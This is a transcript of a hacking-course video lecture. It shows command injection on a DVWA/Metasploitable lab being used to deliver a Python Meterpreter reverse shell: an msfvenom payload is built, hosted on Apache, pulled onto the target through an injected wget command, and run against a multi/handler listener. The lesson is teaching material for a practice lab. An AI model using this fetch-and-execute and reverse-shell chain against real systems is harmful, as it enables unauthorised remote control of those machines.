Instructor: Okay, so we have covered command injection
but you can combine this vulnerability
with other tools as well.
For example, in the last video
we managed the established connection using netcat
and command injection vulnerability.
But we can improve this
by injecting a different payload such as a meterpreter shell
or a reverse shell that we coded in Python.
The process of doing that is the same.
So I'll show you how to send a meterpreter payload
to the target and make it execute with command injection.
Why would we want to do this?
Well, we always want to have the best payload possible.
So why would we use netcat when meterpreter gives us
a lot more useful options to run on the target system?
And to do all of that
here are the steps that we must perform.
We must first create the payload appropriate for our target.
Then we must download that payload to our target machine
with the help of command injection vulnerability.
And at last, we must execute that payload also
with the help of command injection vulnerability.
So sounds pretty simple, right?
Let's figure out what payload we should create first.
So to create payload, we need to figure out
what do we know about our target?
Well, we know that meta portable is a Linux 32 bit machine
so we can create a Linux meterpreter payload.
But for this case I like Python payload a lot better.
So let's create a Python meterpreter shell.
Great thing about Linux systems
is it comes default with Python.
So Python payload is something that
we can execute on our target
without them having to install any additional software.
Let's create it real quick.
So I will navigate to my desktop directory
and here I will type msfvenom-p
and that will specify that we want
to create Python meterpreter slash reverse tcp.
The LHOST is going to be our IP address.
So let's check it out real quick.
It is 192.168.1.9, copy it and paste it right here.
For the LPORT,
we can use port 6,000 for example,
and we are going to output this to arrows
into tester.py.
And I just named the payload tester,
but feel free to name it anything that you want.
I will press enter here
and this will create our Python payload.
Let me go right here, lower this,
and while this is creating,
make sure that your burp suite is started up.
Also make sure that your intercept is turned off
and start up your Firefox
and your metasportable virtual machine. Okay?
So once you do that here in just a few seconds,
our payload should be done.
And here it is.
Now that we got a payload created, we must figure out
how can we deliver it to the target system?
Of course we will do that using the command injection
but even then the target must be able
to download our payload from somewhere, right?
For this, we're going to use apache2 web server
and host our payload there.
Apache comes with Kali Linux already
so we can make it run real quick.
To do that, we must first type pseudo
and then service apache2 start.
It will ask us for the password.
We input the password
and this will start our apache2 web server.
What does this mean?
Well, this means that any file that is hosted inside
of slash var, slash www slash html directory
in our Kali Linux will be hosted on our webpage
to anyone that visits our IP address.
Let's first of all visit that directory.
So if it goes cd/var/www,html, type ls here
and we got shell.exe from some previous video
which we can delete straight away.
And this might require root privileges.
So let us just enter root accounts, sudo su
and let's delete this shell.exe.
And now our directory is empty,
so no files are being hosted on our web server.
Let's copy our tester,
which in my case is in my home directory,
Mr. Hacker and desktop tester.py.
And we want to copy it inside of var www and html.
And now if we were to go to our Kali Linux machine
and visit the IP address of my Kali Linux
which is 192.168.1.9, we are going to see this page
that has this file available to download.
Great. All we are left to do right now
is to execute this file on target system.
Let's go to our command injection page
on our metasploitable.
And to do that we visit the IP address of metasploitable
navigate to DVWA.
All of this we already know, let us enter username
and password and go to the command injection.
But before we do that
change the security level to either low or media.
Once we do that inside of the command ejection,
we can execute the commands as from the previous video.
So if I type right here, 192.168.1.1
and dot and comma and then ls after it
it'll ping the router's IP address
and it'll also print out the contents of that directory.
But we don't want to ping every time.
We can just type dot and comma, which will specify
that we want to enter a next command
and we can just type ls after it.
And this will just give us an output of the ls command
and we won't have to wait for the ping command to finish.
Now, let's download our payload using wget command
and wget is something that you can run
from a terminal in order to download a specific file
from the page or link that you specify.
Let me show you inside of terminal first.
So right now I am inside
of the slash home slash mr hacker directory.
And I don't have the tester.py right here
but if I run the command wget
and then 192.168.1.9, which is the IP address
of Kali Linux slash and then tester.py.
With this link, we are accessing this page right here
and this file right here,
which will tell our terminal that we want
to download that file.
If I press enter, it'll download tester.py
and if I type ls once again,
now we have tester.py inside of our home
and Mr. Hacker directory.
We want to do the same thing on our target machine.
So to do that we can use dot and comment
to specify the next command and type the same command,
wget 192.168.1.9/tester.py.
I press submit.
And if I run the ls command once again,
now we have one additional file which is our payload.
So it is there, it is on the target machine right now
with the help of command injection.
The last step we have to do is to set up
a listener inside of MSF console.
So let's do that real quick.
And after we set up a listener, we must execute our payload.
And here is the MSF console.
We are already familiar with setting up of the listener.
We are going to use exploit multi handler
and we need to set the payload to be
python/meterpreter/reverse_tcp.
If I show options, all we want to do is set
the LHOST and LPORT and that will be the IP address
of Kali Linux and the LPORT will be 6,000,
the same options that we specified inside of msfs.
Why not?
Then I will run this and all we are left to do right now
is to execute this tester.py
with the help of command injection.
So let's see how we can do that.
If I type dot and comma and python tester.py, press enter,
this page will load.
And these are good news because that would most likely mean
that we got the meterpreter shell opened.
With the help of Python, we executed our Python program
on the target machine and it opened our meterpreter shell
where we can execute various commands.
As usual, we can run help command
to see what else we can execute
and we can basically perform post exploitation
that we already covered.
Great. So this is just another way
that you can use command ejection
to your advantage to spawn a better payload
than just a simple netcat command execution.
So you can try to test this
with our Python payload if you want.
Great. Now that we cover the command ejection vulnerability,
in the next video we're going to go
into cross site scripting vulnerability.
See you there.